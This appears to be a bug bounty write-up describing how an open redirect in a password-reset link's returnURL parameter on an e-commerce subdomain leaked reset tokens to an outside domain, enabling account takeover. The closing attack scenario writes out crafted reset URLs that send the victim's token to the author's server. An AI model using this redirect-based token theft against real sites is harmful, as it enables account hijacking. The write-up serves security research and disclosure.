This one is about an account takeover I found with the help of the Wayback Machine, and a reminder of why recon and retesting patches matter. I found it while retesting a patch, so let's get into it.
The target
The program was an e-commerce site. It was already well tested and sat behind Cloudflare, so injection attacks were giving me hard time, but the subdomains were in scope. None of them were especially interesting, most returned 403 and the rest were static FAQ pages or empty. I'd found a few CSRFs and open redirects on the main domain, but they all came back as duplicates.
Retesting the patch
One day I got an email that my open redirect report was resolved, meaning fixed, so I could try to bypass it. I tried, and couldn't. When I get an open redirect or an XSS in a GET parameter, I always do three things:
- Spray that parameter across other endpoints of the application.
- Check the Wayback Machine for old URLs that use the same or a similar parameter.
- Run Google dorks to find the same parameter on another endpoint.
The vulnerable parameter was returnURL. I started with the Wayback Machine looking for new URLs carrying it, but nothing turned up. Since the subdomains were in scope, I figured I'd hunt for the same parameter across them using gau. I got a hit:
https://sub.target.com/register?returnURL=
Opening it returned a "path not found" error. But recon has a lot of doors: if Wayback gives you nothing, there's dorking, then GitHub and Pastebin, and if all of that fails, brute forcing.
The reset-password endpoint
Google dorks on that subdomain turned up plenty of endpoints with the same parameter. The one that worked was the reset-password flow:
https://sub.target.com/resetPassword?returnURL=
Request a reset there and you get an email with a link like this, which resets your password normally:
https://sub.target.com/newPassword?token=xyz&returnURL=
But if you're already logged in and open it, it redirects you to the home page. Changing returnURL sent me wherever I wanted, a fresh open redirect:
https://sub.target.com/newPassword?token=xyz&returnURL=//google.com
The part I didn't expect
I always screen-record a bug before submitting. While recording, I set returnURL to my own domain and the link redirected there, as expected. What I did not expect: checking my server logs, the password reset tokens were sitting right there. I had no idea how they got there. I stopped recording and tried again, redirected to my domain, but no tokens this time. I opened the link a hundred more times and got nothing. I kept asking myself how the tokens had landed in my logs on the very first try.
Then it clicked: try a different domain. I spun up a fresh endpoint on hookbin, dropped it into returnURL, and requested a reset. I opened the link, and the password reset token landed in my logs. It worked. The catch was that the site only leaks the token once per domain.
Proving it
I submitted a clean report. As usual, the triager couldn't reproduce it. I sent a second video PoC walking through every step, the triager reproduced it, and it went to the program owner, who also failed at first. The step everyone kept missing: you have to be logged into your account when you open the reset link. The program owner asked me to leak his own token, so here's the final attack scenario:
- Request a password reset for the target using the altered link:
https://sub.target.com/resetPassword?returnURL=//r29k.com - The target receives a reset link:
https://sub.target.com/newPassword?token=xyz&returnURL=//r29k.com - They open it in the same browser where they're already logged in.
- They're redirected to r29k.com, which I control, and the password reset token lands in my server logs.
I showed the program owner his own tokens. The report was triaged P2 and earned an 800 USD bounty.
Takeaway
Two lessons here. Retest your patches, this whole chain started from a report that was marked fixed. And don't underestimate recon: the Wayback Machine and a handful of dorks turned a duplicate open redirect into a full account takeover.
Questions or feedback? Reach me on Twitter @R29k_, or on Discord at Demon#1841. Thanks so much for reading, see you in the next one.